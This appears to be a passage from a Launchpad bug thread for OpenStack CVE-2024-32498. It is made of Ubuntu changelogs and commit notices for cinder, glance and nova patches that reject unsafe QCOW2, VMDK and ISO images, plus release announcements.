       available for new tests.
     - CVE-2024-32498
 .
 cinder (2:20.3.1-0ubuntu1.2) jammy; urgency=medium
 .
   [ Jorge Merlino ]
   * Increase size of volume image metadata values to 65535 bytes
     (LP: #1988942)
 .
   [ Heather Lemon ]
   * Start cinder-volume.service after tgt.service started (LP: #1987663)
     - d/cinder-volume.service.conf: drop-in with 'After=' and 'Wants='
       ('Wants=' is not generated by pkgos-gen-systemd-unit currently).
     - d/cinder-volume.install: ship the systemd service drop-in file.
 .
   [ Seyeong Kim ]
   * HPE3PAR: Failing to clone a volume having children (LP: #1994521):
     - d/p/0001-HPE-3PAR-Fix-umanaged-volumes-snapshots-missing.patch
     - d/p/0002-3PAR-Error-out-if-vol-cannot-be-converted-to-base.patch
     - api 4.0.17 is added as it is in the middle of the main patch
       (4.0.18)
 .
 cinder (2:20.3.1-0ubuntu1.1) jammy; urgency=medium
 .
   * Revert driver assisted volume retype (LP: #2019190):
     - d/p/0001-Revert-Driver-assisted-migration-on-retype-when-it-s.patch
 .
 cinder (2:20.3.1-0ubuntu1) jammy; urgency=medium
 .
   * New stable point release for OpenStack Yoga (LP: #2037332).
 .
 cinder (2:20.3.0-0ubuntu1) jammy; urgency=medium
 .
   * New stable point release for OpenStack Yoga (LP: #2025503).
   * d/p/CVE-2023-2088.patch: Dropped. Fixed in point release.
 .
 cinder (2:20.2.0-0ubuntu1.1) jammy-security; urgency=medium
 .
   * SECURITY UPDATE: Unauthorized File Access (LP: #2021980)
     - debian/patches/CVE-2023-2088.patch: Reject unsafe delete
       attachment calls.
     - CVE-2023-2088
 .
 cinder (2:20.2.0-0ubuntu1) jammy; urgency=medium
 .
   * New stable point release for OpenStack Yoga (LP: #2019759).
   * d/p/lp1945500.patch: Dropped. Fixed in stable point release.
 .
 cinder (2:20.1.0-0ubuntu2.2) jammy-security; urgency=medium
 .
   * SECURITY REGRESSION: Regressions in other projects (LP: #2020111)
     - debian/patches/series: Do not apply CVE-2023-2088.patch until
       patches are ready for all upstream OpenStack projects.
     - CVE-2023-2088
 .
 cinder (2:20.1.0-0ubuntu2.1) jammy-security; urgency=medium
 .
   * SECURITY UPDATE: Unauthorized File Access
     - debian/patches/CVE-2023-2088.patch: Reject unsafe delete
       attachment calls.
     - CVE-2023-2088
 .
 cinder (2:20.1.0-0ubuntu2) jammy; urgency=medium
 .
   * d/p/lp1945500.patch: Filter reserved image properties (LP: #1945500).
 .
 cinder (2:20.1.0-0ubuntu1) jammy; urgency=medium
 .
   * New stable point release for OpenStack Yoga (LP: #2004030).
 .
 cinder (2:20.0.1-0ubuntu1) jammy; urgency=medium
 .
   * d/gbp.conf: Create stable/yoga branch.
   * New stable point r...

[James Page (james-page)]

The verification of the Stable Release Update for glance has completed successfully and the package has now been released to -updates. In the event that you encounter a regression using the package from -updates please report a new bug using ubuntu-bug and tag the bug report regression-update so we can easily find any regressions.

[James Page (james-page)]

This bug was fixed in the package glance - 2:24.2.1-0ubuntu1.2~cloud0
---------------

 glance (2:24.2.1-0ubuntu1.2~cloud0) focal; urgency=medium
 .
   * SECURITY UPDATE for Ubuntu Cloud Archive. backport to focal.
 .
 glance (2:24.2.1-0ubuntu1.2) jammy-security; urgency=medium
 .
   * SECURITY UPDATE: Arbitrary file access via custom QCOW2 external data
     (LP: #2059809)
     - debian/patches/CVE-2024-32498-pre1.patch: limit CaptureRegion sizes
       in format_inspector for VMDK and VHDX.
     - debian/patches/CVE-2024-32498-pre2.patch: support Stream Optimized
       VMDKs.
     - debian/patches/CVE-2024-32498-1.patch: reject qcow files with
       data-file attributes.
     - debian/patches/CVE-2024-32498-2.patch: extend format_inspector for
       QCOW safety.
     - debian/patches/CVE-2024-32498-3.patch: add VMDK safety check.
     - debian/patches/CVE-2024-32498-4.patch: reject unsafe qcow and vmdk
       files.
     - debian/patches/CVE-2024-32498-5.patch: add QED format detection to
       format_inspector.
     - debian/patches/CVE-2024-32498-6.patch: add file format detection to
       format_inspector.
     - debian/patches/CVE-2024-32498-7.patch: add safety check and detection
       support to FI tool.
     - CVE-2024-32498
 .
 glance (2:24.2.1-0ubuntu1) jammy; urgency=medium
 .
   * New stable point release for OpenStack Yoga (LP: #2037332).
 .
 glance (2:24.2.0-0ubuntu1) jammy; urgency=medium
 .
   * New stable point release for OpenStack Yoga (LP: #2011713).
   * d/p/CVE-2022-47951.patch: Dropped. Fixed in stable point release.
 .
 glance (2:24.1.0-0ubuntu1.1) jammy-security; urgency=medium
 .
   * SECURITY UPDATE: Arbitrary file access
     - debian/patches/CVE-2022-47951.patch: Enforce image safety
       during image_conversion.
     - CVE-2022-47951
 .
 glance (2:24.1.0-0ubuntu1) jammy; urgency=medium
 .
   * d/gbp.conf: Create stable/yoga branch.
   * New stable point release for OpenStack Yoga (LP: #1980369).
 .
 glance (2:24.0.0-0ubuntu1) jammy; urgency=medium
 .
   * d/watch: Scope to 24.x.
   * New upstream release for OpenStack Yoga.
 .
 glance (2:24.0.0~rc1+git2022030311.d4119be05-0ubuntu1) jammy; urgency=medium
 .
   * New upstream snapshot for OpenStack Yoga.
   * d/control: Align (Build-)Depends with upstream.
   * d/p/skip-py10-failure.patch: Dropped. Fixed in upstream snapshot.
 .
 glance (2:23.0.0+git2022011216.502fa0ffc-0ubuntu1) jammy; urgency=medium
 .
   * d/glance-common.install, d/glance-api.init.in: Install
     glance-image-import.conf.sample and add --config-dir=/etc/glance/
     to glance-api init script (LP: #1955022).
   * New upstream snapshot for OpenStack Yoga.
   * d/control, d/rules: Bump debhelper compat to 13.
 .
 glance (2:23.0.0+git2021120811.4ee7799aa-0ubuntu1) jammy; urgency=medium
 .
   * New upstream snapshot for OpenStack Yoga.
   * d/p/skip-py10-failure.patch: Skip test that is raising different
     exception with Python 3.10.
 .
 glance (2:23.0.0-0ubuntu1) impish; urgency=medium
 .
   * d/watch: Scope to 23.x.
   * New upstream release for OpenStack Xena.
   * d/control: Align (Build-)Depends with upstream.
 .
 glance (2:23.0.0~b3+git2021091316.d49eaa04c-0ubuntu1) impish; urgen...

[James Page (james-page)]

The verification of the Stable Release Update for nova has completed successfully and the package has now been released to -updates. In the event that you encounter a regression using the package from -updates please report a new bug using ubuntu-bug and tag the bug report regression-update so we can easily find any regressions.

[James Page (james-page)]

This bug was fixed in the package nova - 3:25.2.1-0ubuntu2.3~cloud0
---------------

 nova (3:25.2.1-0ubuntu2.3~cloud0) focal; urgency=medium
 .
   * SECURITY UPDATE for Ubuntu Cloud Archive. backport to focal.
 .
 nova (3:25.2.1-0ubuntu2.3) jammy-security; urgency=medium
 .
   * SECURITY UPDATE: Arbitrary file access via custom QCOW2 external data
     (LP: #2059809)
     - debian/patches/CVE-2024-32498-pre1.patch: consolidate
       create_cow_image and create_image.
     - debian/patches/CVE-2024-32498-1.patch: reject qcow files with
       data-file attributes.
     - debian/patches/CVE-2024-32498-2.patch: check images with
       format_inspector for safety.
     - debian/patches/CVE-2024-32498-3.patch: additional qemu safety
       checking on base images.
     - debian/patches/CVE-2024-32498-4.patch: fix vmdk_allowed_types
       checking.
     - CVE-2024-32498
 .
 nova (3:25.2.1-0ubuntu2) jammy; urgency=medium
 .
   * d/p/libvirt-remove-default-cputune-shares-value.patch:
     Enable launch of instances with more than 9 CPUs on Jammy
     (LP: #1978489).
 .
 nova (3:25.2.1-0ubuntu1) jammy; urgency=medium
 .
   * New stable point release for OpenStack Yoga (LP: #2037332).
 .
 nova (3:25.2.0-0ubuntu1) jammy; urgency=medium
 .
   * New stable point release for OpenStack Yoga (LP: #2025503).
   * d/p/CVE-2023-2088-*.patch: Dropped. Fixed in point release.
 .
 nova (3:25.1.1-0ubuntu1.1) jammy-security; urgency=medium
 .
   * SECURITY UPDATE: Unauthorized File Access (LP: #2021980)
     - debian/patches/CVE-2023-2088-1.patch: Use force=True for os-brick
       disconnect during delete.
     - debian/patches/CVE-2023-2088-2.patch: Enable use of service user
       token with admin context.
     - CVE-2023-2088
 .
 nova (3:25.1.1-0ubuntu1) jammy; urgency=medium
 .
   * New stable point release for OpenStack Yoga (LP: #2019759).
   * d/p/ignore-deleted-server-groups-in-validation.patch: Dropped. Fixed
     in stable point release.
 .
 nova (3:25.1.0-0ubuntu2.2) jammy-security; urgency=medium
 .
   * SECURITY REGRESSION: Regressions in other projects (LP: #2020111)
     - debian/patches/series: Do not apply CVE-2023-2088.patch until
       patches are ready for all upstream OpenStack projects.
     - CVE-2023-2088
 .
 nova (3:25.1.0-0ubuntu2.1) jammy-security; urgency=medium
 .
   * SECURITY UPDATE: Unauthorized File Access
     - debian/patches/CVE-2023-2088.patch: Use force=True for os-brick
       disconnect during delete.
     - CVE-2023-2088
 .
 nova (3:25.1.0-0ubuntu2) jammy; urgency=medium
 .
   * Backport fix to ignore deleted server groups (LP: #1890244)
     d/p/ignore-deleted-server-groups-in-validation.patch
 .
 nova (3:25.1.0-0ubuntu1) jammy; urgency=medium
 .
   * New stable point release for OpenStack Yoga (LP: #2004030).
 .
 nova (3:25.0.1-0ubuntu1) jammy; urgency=medium
 .
   * New stable point release for OpenStack Yoga (LP: #1980369).
 .
 nova (3:25.0.0-0ubuntu1.1) jammy; urgency=medium
 .
   [ Corey Bryant ]
   * d/gbp.conf: Create stable/yoga branch.
 .
   [ Felipe Reyes ]
   * d/nova-common.postinst: Don't change file permissions under
     /var/lib/nova/.ssh (LP: #1904580).
 .
 nova (3:25.0.0-0ubuntu1) jammy; urgency=med...

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/nova/+/923533
Committed: https://opendev.org/openstack/nova/commit/b1cc39848ebe9b9cb63141a647bda52a2842ee4b
Submitter: "Zuul (22348)"
Branch: master

commit b1cc39848ebe9b9cb63141a647bda52a2842ee4b
Author: Sean Mooney <email address hidden>
Date: Thu Jul 4 20:09:31 2024 +0100

    Add iso file format inspector

    This change includes unit tests for the ISO
    format inspector using mkisofs to generate
    the iso files.

    A test for stashing qcow content in the system_area
    of an iso file is also included.

    This change modifies format_inspector.detect_file_format
    to evaluate all inspectors until they are complete and
    raise an InvalidDiskInfo exception if multiple formats
    match.

    Related-Bug: #2059809
    Change-Id: I7e12718fb3e1f77eb8d1cfcb9fa64e8ddeb9e712

[Chris Valean (cvalean)]

When is this planned to be fix released for Ussuri as well?

[OpenStack Infra (hudson-openstack)]

This issue was fixed in the openstack/glance 26.1.0 release.

[OpenStack Infra (hudson-openstack)]

This issue was fixed in the openstack/glance 27.1.0 release.

[OpenStack Infra (hudson-openstack)]

This issue was fixed in the openstack/glance 28.1.0 release.

[Abhishek Kekane (abhishek-kekane)]

@Chris

Currently Ussuri is unmaintained and we are not planning to do any changes there. But if you see comment #231 from Dan you can create similar change for ussuri locally.

https://bugs.launchpad.net/nova/+bug/2059809/comments/231

[OpenStack Infra (hudson-openstack)]

Related fix proposed to branch: stable/2024.1
Review: https://review.opendev.org/c/openstack/nova/+/923724

[OpenStack Infra (hudson-openstack)]

Related fix proposed to branch: stable/2023.2
Review: https://review.opendev.org/c/openstack/nova/+/923729

[OpenStack Infra (hudson-openstack)]

Related fix proposed to branch: stable/2023.1
Review: https://review.opendev.org/c/openstack/nova/+/923733

[OpenStack Infra (hudson-openstack)]

This issue was fixed in the openstack/nova 27.4.0 release.

[OpenStack Infra (hudson-openstack)]

This issue was fixed in the openstack/nova 28.2.0 release.

[OpenStack Infra (hudson-openstack)]

This issue was fixed in the openstack/nova 29.1.0 release.

[OpenStack Infra (hudson-openstack)]

This issue was fixed in the openstack/cinder 22.2.0 release.

[OpenStack Infra (hudson-openstack)]

This issue was fixed in the openstack/cinder 23.2.0 release.

[OpenStack Infra (hudson-openstack)]

This issue was fixed in the openstack/cinder 24.1.0 release.

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: unmaintained/yoga
Review: https://review.opendev.org/c/openstack/cinder/+/923873

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/nova/+/923298
Committed: https://opendev.org/openstack/nova/commit/da352edceb74dbd715268f94516503042b48cc90
Submitter: "Zuul (22348)"
Branch: unmaintained/zed

commit da352edceb74dbd715268f94516503042b48cc90
Author: Dan Smith <email address hidden>
Date: Wed Apr 17 07:06:13 2024 -0700

    Check images with format_inspector for safety

    It has been asserted that we should not be calling qemu-img info
    on untrusted files. That means we need to know if they have a
    backing_file, data_file or other unsafe configuration *before* we use
    qemu-img to probe or convert them.

    This grafts glance's format_inspector module into nova/images so we
    can use it to check the file early for safety. The expectation is that
    this will be moved to oslo.utils (or something) later and thus we will
    just delete the file from nova and change our import when that happens.

    NOTE: This includes whitespace changes from the glance version of
    format_inspector.py because of autopep8 demands.

    Change-Id: Iaefbe41b4c4bf0cf95d8f621653fdf65062aaa59
    Closes-Bug: #2059809
    (cherry picked from commit 9cdce715945619fc851ab3f43c97fab4bae4e35a)
    (cherry picked from commit f07fa55fd86726eeafcd4c0c687bc49dd4df9f4c)
    (cherry picked from commit 0acf5ee7b5dfb6ff0f9a9745f5ad2a0ed2bf65bf)
    (cherry picked from commit 67e5376dd64407f5aaf1ea5f8c896e356064a2c9)

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/nova/+/923300
Committed: https://opendev.org/openstack/nova/commit/a2acb31d790e6cb41c067bfc0343bde274c9428c
Submitter: "Zuul (22348)"
Branch: unmaintained/zed

commit a2acb31d790e6cb41c067bfc0343bde274c9428c
Author: Dan Smith <email address hidden>
Date: Mon Jul 1 09:06:40 2024 -0700

    Fix vmdk_allowed_types checking

    This restores the vmdk_allowed_types checking in create_image()
    that was unintentionally lost by tightening the
    qemu-type-matches-glance code in the fetch patch recently. Since we
    are still detecting the format of base images without metadata, we
    would have treated a vmdk file that claims to be raw as raw in fetch,
    but then read it like a vmdk once it was used as a base image for
    something else.

    Conflicts:
      nova/tests/unit/virt/libvirt/test_utils.py

    NOTE(elod.illes): conflicts are due to encryption support adding patch
    I5d6d2a7b03b5ace0826af80c4004de852579ff12 was introduced in zed.

    Change-Id: I07b332a7edb814f6a91661651d9d24bfd6651ae7
    Related-Bug: #2059809
    (cherry picked from commit 08be7b2a0dc1d7728d8034bc2aab0428c4fb642e)
    (cherry picked from commit 11301e7e3f0d81a3368632f90608e30d9c647111)
    (cherry picked from commit 70a435fd519a0ebcc3ac9ad5254fefbf19c93e48)
    (cherry picked from commit f732f8476851e6272d8ad9937f54b918795844e8)

[OpenStack Infra (hudson-openstack)]

Related fix proposed to branch: master
Review: https://review.opendev.org/c/openstack/nova/+/923924

[OpenStack Infra (hudson-openstack)]

Related fix proposed to branch: stable/2024.1
Review: https://review.opendev.org/c/openstack/nova/+/923935

[OpenStack Infra (hudson-openstack)]

Related fix proposed to branch: stable/2023.2
Review: https://review.opendev.org/c/openstack/nova/+/923936

[OpenStack Infra (hudson-openstack)]

Related fix proposed to branch: stable/2023.1
Review: https://review.opendev.org/c/openstack/nova/+/923937

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/nova/+/923724
Committed: https://opendev.org/openstack/nova/commit/eeda7c333c773216c216159926673874ce4843ba
Submitter: "Zuul (22348)"
Branch: stable/2024.1

commit eeda7c333c773216c216159926673874ce4843ba
Author: Sean Mooney <email address hidden>
Date: Thu Jul 4 20:09:31 2024 +0100

    Add iso file format inspector

    This change includes unit tests for the ISO
    format inspector using mkisofs to generate
    the iso files.

    A test for stashing qcow content in the system_area
    of an iso file is also included.

    This change modifies format_inspector.detect_file_format
    to evaluate all inspectors until they are complete and
    raise an InvalidDiskInfo exception if multiple formats
    match.

    Related-Bug: #2059809
    Change-Id: I7e12718fb3e1f77eb8d1cfcb9fa64e8ddeb9e712
    (cherry picked from commit b1cc39848ebe9b9cb63141a647bda52a2842ee4b)

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/nova/+/923924
Committed: https://opendev.org/openstack/nova/commit/c6d8c6972d52845774b36acb84cd08a4b2e4dcde
Submitter: "Zuul (22348)"
Branch: master

commit c6d8c6972d52845774b36acb84cd08a4b2e4dcde
Author: Balazs Gibizer <email address hidden>
Date: Thu Jul 11 07:29:40 2024 +0200

    Stabilize iso format unit tests

    Some version of mkisofs does not properly handle if both the input and
    the output file of the command are the same. So this commit changes the
    unit tests depending on that binary to use a different files.

    Related-Bug: #2059809
    Change-Id: I6924eb23ff5804c22a48ec6fabcec25f061906bb

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/nova/+/923935
Committed: https://opendev.org/openstack/nova/commit/a8783a767551df3dd943bd862cdba35c51cdb7a6
Submitter: "Zuul (22348)"
Branch: stable/2024.1

commit a8783a767551df3dd943bd862cdba35c51cdb7a6
Author: Balazs Gibizer <email address hidden>
Date: Thu Jul 11 07:29:40 2024 +0200

    Stabilize iso format unit tests

    Some version of mkisofs does not properly handle if both the input and
    the output file of the command are the same. So this commit changes the
    unit tests depending on that binary to use a different files.

    Related-Bug: #2059809
    Change-Id: I6924eb23ff5804c22a48ec6fabcec25f061906bb
    (cherry picked from commit c6d8c6972d52845774b36acb84cd08a4b2e4dcde)

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/nova/+/923729
Committed: https://opendev.org/openstack/nova/commit/24628ecbbe9d5fdd4fe6767ca92395f0d3da9e48
Submitter: "Zuul (22348)"
Branch: stable/2023.2

commit 24628ecbbe9d5fdd4fe6767ca92395f0d3da9e48
Author: Sean Mooney <email address hidden>
Date: Thu Jul 4 20:09:31 2024 +0100

    Add iso file format inspector

    This change includes unit tests for the ISO
    format inspector using mkisofs to generate
    the iso files.

    A test for stashing qcow content in the system_area
    of an iso file is also included.

    This change modifies format_inspector.detect_file_format
    to evaluate all inspectors until they are complete and
    raise an InvalidDiskInfo exception if multiple formats
    match.

    Related-Bug: #2059809
    Change-Id: I7e12718fb3e1f77eb8d1cfcb9fa64e8ddeb9e712
    (cherry picked from commit b1cc39848ebe9b9cb63141a647bda52a2842ee4b)
    (cherry picked from commit eeda7c333c773216c216159926673874ce4843ba)

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: unmaintained/yoga
Review: https://review.opendev.org/c/openstack/nova/+/924081

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: unmaintained/yoga
Review: https://review.opendev.org/c/openstack/nova/+/924082

[OpenStack Infra (hudson-openstack)]

Related fix proposed to branch: unmaintained/yoga
Review: https://review.opendev.org/c/openstack/nova/+/924084

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/nova/+/923936
Committed: https://opendev.org/openstack/nova/commit/02147b36d35e1e462e1405c36a2e67a33de806de
Submitter: "Zuul (22348)"
Branch: stable/2023.2

commit 02147b36d35e1e462e1405c36a2e67a33de806de
Author: Balazs Gibizer <email address hidden>
Date: Thu Jul 11 07:29:40 2024 +0200

    Stabilize iso format unit tests

    Some version of mkisofs does not properly handle if both the input and
    the output file of the command are the same. So this commit changes the
    unit tests depending on that binary to use a different files.

    Related-Bug: #2059809
    Change-Id: I6924eb23ff5804c22a48ec6fabcec25f061906bb
    (cherry picked from commit c6d8c6972d52845774b36acb84cd08a4b2e4dcde)
    (cherry picked from commit a8783a767551df3dd943bd862cdba35c51cdb7a6)

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/nova/+/923733
Committed: https://opendev.org/openstack/nova/commit/65f0789df05e2ba7f11c0eaf2c6959367acbced2
Submitter: "Zuul (22348)"
Branch: stable/2023.1

commit 65f0789df05e2ba7f11c0eaf2c6959367acbced2
Author: Sean Mooney <email address hidden>
Date: Thu Jul 4 20:09:31 2024 +0100

    Add iso file format inspector

    This change includes unit tests for the ISO
    format inspector using mkisofs to generate
    the iso files.

    A test for stashing qcow content in the system_area
    of an iso file is also included.

    This change modifies format_inspector.detect_file_format
    to evaluate all inspectors until they are complete and
    raise an InvalidDiskInfo exception if multiple formats
    match.

    Related-Bug: #2059809
    Change-Id: I7e12718fb3e1f77eb8d1cfcb9fa64e8ddeb9e712
    (cherry picked from commit b1cc39848ebe9b9cb63141a647bda52a2842ee4b)
    (cherry picked from commit eeda7c333c773216c216159926673874ce4843ba)
    (cherry picked from commit 24628ecbbe9d5fdd4fe6767ca92395f0d3da9e48)

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/cinder/+/923314
Committed: https://opendev.org/openstack/cinder/commit/4aa6590a483901de64e0d162fff11f3d2d7f9977
Submitter: "Zuul (22348)"
Branch: unmaintained/zed

commit 4aa6590a483901de64e0d162fff11f3d2d7f9977
Author: Brian Rosmaita <email address hidden>
Date: Wed Jun 26 14:09:30 2024 -0400

    CVE-2024-32498: Check for external qcow2 data file

    Adds code to image_utils to check for a qcow2 external data
    file, a recent feature of qemu which we do not support and
    which can be used maliciously.

    Advice from the qemu-img community is that it is dangerous
    to call qemu-img info on untrusted files, so we copy over
    the format_inspector module from Glance. This performs basic
    analysis on the image data file so we can detect problematic
    images before we call qemu-img info to get all the image
    attributes. It is expected that this code will eventually be
    added to oslo so it can be consumed by Glance, Cinder, and
    Nova.

    Because cinder itself may create qcow2 format images with a
    backing file in nfs-based backends, the glance format_inspector
    has been modified to optionally allow such files. Since we are
    monkeying with the format_inspector code, we also copy over
    its unit tests to prevent regressions and to add tests for the
    changed code.

    Includes an additional fix to prevent an issue where a user
    could mount a raw volume and write a qcow2 header with a larger
    virtual size on it. On reattaching the volume it would have the
    new larger virtual size avaialable without actually changing
    the size value in cinder. While we cannot prevent this we can
    prevent the user from using this volume again, which makes this
    exploit pointless.

    Co-authored-by: Dan Smith <email address hidden>
    Co-authored-by: Felix Huettner <email address hidden>

    Change-Id: I65857288b797cde573e7443ac6e7e6f57fedde01
    Closes-bug: #2059809
    (cherry picked from commit d6a186945e03649343af55b46ed8dfe0dd326e40)
    (cherry picked from commit db98dc207060da234c32a563c13cac1edbd62952)
    (cherry picked from commit 9e667b02b2c20b4ada18c1a472be152956284d45)
    (cherry picked from commit 5f5e86e3542866227b7339713148b5169d069f21)

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/nova/+/923937
Committed: https://opendev.org/openstack/nova/commit/47428f6caf503b94583dac614b59971f60a0ba9c
Submitter: "Zuul (22348)"
Branch: stable/2023.1

commit 47428f6caf503b94583dac614b59971f60a0ba9c
Author: Balazs Gibizer <email address hidden>
Date: Thu Jul 11 07:29:40 2024 +0200

    Stabilize iso format unit tests

    Some version of mkisofs does not properly handle if both the input and
    the output file of the command are the same. So this commit changes the
    unit tests depending on that binary to use a different files.

    Related-Bug: #2059809
    Change-Id: I6924eb23ff5804c22a48ec6fabcec25f061906bb
    (cherry picked from commit c6d8c6972d52845774b36acb84cd08a4b2e4dcde)
    (cherry picked from commit a8783a767551df3dd943bd862cdba35c51cdb7a6)
    (cherry picked from commit 02147b36d35e1e462e1405c36a2e67a33de806de)

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/glance/+/923304
Committed: https://opendev.org/openstack/glance/commit/6a38aef8baaf5caecbd8c866f1cf922d939dfbcc
Submitter: "Zuul (22348)"
Branch: unmaintained/zed

commit 6a38aef8baaf5caecbd8c866f1cf922d939dfbcc
Author: Dan Smith <email address hidden>
Date: Mon Apr 1 08:06:31 2024 -0700

    Reject qcow files with data-file attributes

    Change-Id: I6326a3e85c1ba4cb1da944a4323769f2399ed2c1
    Closes-Bug: #2059809
    (cherry picked from commit 2ca29af4433e9fa99a0a48e230d8d25d6eaa4a87)
    (cherry picked from commit c3586f3a122f6cb0663217b12b52203e74e2e4fa)
    (cherry picked from commit a92c438fb5ba55440b38cae7c8b4361b58daa9dd)
    (cherry picked from commit dba3bdb458aa8a5d0193f12b7f1e374a89ed34a2)

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/glance/+/923305
Committed: https://opendev.org/openstack/glance/commit/f32d5b8ad865113d499a36f7507a085f583514f9
Submitter: "Zuul (22348)"
Branch: unmaintained/zed

commit f32d5b8ad865113d499a36f7507a085f583514f9
Author: Dan Smith <email address hidden>
Date: Tue Apr 16 10:29:10 2024 -0700

    Extend format_inspector for QCOW safety

    This adds two properties to the QcowInspector that makes it able to
    indicate whether the file specifies a backing_file or data_file in the
    header. Both conditions are considered unsafe for our usage. To
    ease checking of this condition, a classmethod is added that takes
    a local filename and digests just enough of the file to assert that
    both conditions are false.

    Change-Id: Iaf86b525397d41bd116999cabe0954a0a7efac65
    Related-Bug: #2059809
    (cherry picked from commit ae536bb394793c9a7a219cb498e03d5c81dbbbb7)
    (cherry picked from commit 2eba54e0821106097dfeceb424e53943fd090483)
    (cherry picked from commit 89dbbc838d606f461087e1494d19ddbcf9db0a38)
    (cherry picked from commit 4860024286256b028fabc5ed50274934c3dfdd8a)